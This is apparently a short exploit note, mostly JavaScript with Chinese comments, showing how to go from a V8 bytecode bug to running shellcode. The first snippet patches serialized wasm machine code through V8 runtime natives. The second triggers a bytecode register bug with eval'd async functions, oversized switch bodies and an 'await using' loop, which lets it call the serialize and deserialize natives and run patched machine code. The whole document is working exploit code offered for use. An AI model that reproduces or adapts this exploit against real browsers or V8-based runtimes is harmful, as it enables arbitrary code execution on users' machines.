one way from bytecode escape to shellcode in v8

let a = 0;
function make(target_slot)
{
    return "a+1;\n".repeat(target_slot);
}

// 随便找一个wasm函数来加载
const wire = new Uint8Array(readbuffer("./test.wasm"));
const mod = new WebAssembly.Module(wire);
let instance = new WebAssembly.Instance(mod);
let { wasm_test } = instance.exports;

// 给这个wasm函数上turbofan优化, 保证%SerializeWasmModule能暴露出裸机器码
%WasmTierUpFunction(wasm_test);
wasm_test();

// 序列化, 然后取出shellcode
let serialized = %SerializeWasmModule(mod);
let bytes = new Uint8Array(serialized);
console.log(bytes);
bytes[107] = 0xcc; // 107会随版本变化

// 防止v8使用wire的Cache, 稍微改一下就行
const wire1 = new Uint8Array(wire.length + 4);
wire1.set(wire, 0);
wire1.set([0x00, 0x02, 0x01, 0x78], wire.length);

// 反序列化重新给他包装回去
const mod1 = %DeserializeWasmModule(serialized, wire1);
let instance1 = new WebAssembly.Instance(mod1);
({ wasm_test } = instance1.exports);

wasm_test();

const wire = new Uint8Array(readbuffer('exp.wasm'));
const mod = new WebAssembly.Module(wire);
let instance = new WebAssembly.Instance(mod);
let { wasm_test } = instance.exports;
for (let i = 0; i < 0x100000; i++){
    wasm_test();
}
function make(target_slot){
    return "a+1;\n".repeat(target_slot-0x11);
}
async function serializeWasmModule(mod){
    let low = 0x0402836d;
    let high = 0xb501;
    let src = `async function bug(x, arg1, arg2){
        void 0;void 0;void 0;
        void 0;void 0;void 0;
        void 0;void 0;void 0;
        let a = 0;
        switch(x) { case 0: case 1: case 2: case 3: case 4: case 5: ${make(high)}; }
        for (await using z = { [Symbol.asyncDispose]() {} }; ;) return;
        a+${low};
        return x;
    }`
    eval(src);
    return await bug(0, mod);
}
async function deserializeWasmModule(wire1, serialized){
    let low = 0x05026f6d;
    let high = 0xb502;
    let src = `async function bug(x, arg1, arg2){
        void 0;void 0;void 0;
        void 0;void 0;void 0;
        void 0;void 0;void 0;
        let a = 0;
        switch(x) { case 0: case 1: case 2: case 3: case 4: case 5: ${make(high)}; }
        for (await using z = { [Symbol.asyncDispose]() {} }; ;) return;
        a+${low};
        return x;
    }`
    eval(src);
    return await bug(0, wire1, serialized);
}
async function main(){
    let serialized = await serializeWasmModule(mod);
    let bytes = new Uint8Array(serialized);
    bytes[107] = 0xcc;
    const wire1 = new Uint8Array(wire.length + 4);
    wire1.set(wire, 0);
    wire1.set([0x00, 0x02, 0x01, 0x78], wire.length);

    mod1 = await deserializeWasmModule(wire1, serialized);
    let instance1 = new WebAssembly.Instance(mod1);
    ({ wasm_test } = instance1.exports);

    wasm_test();
}

main();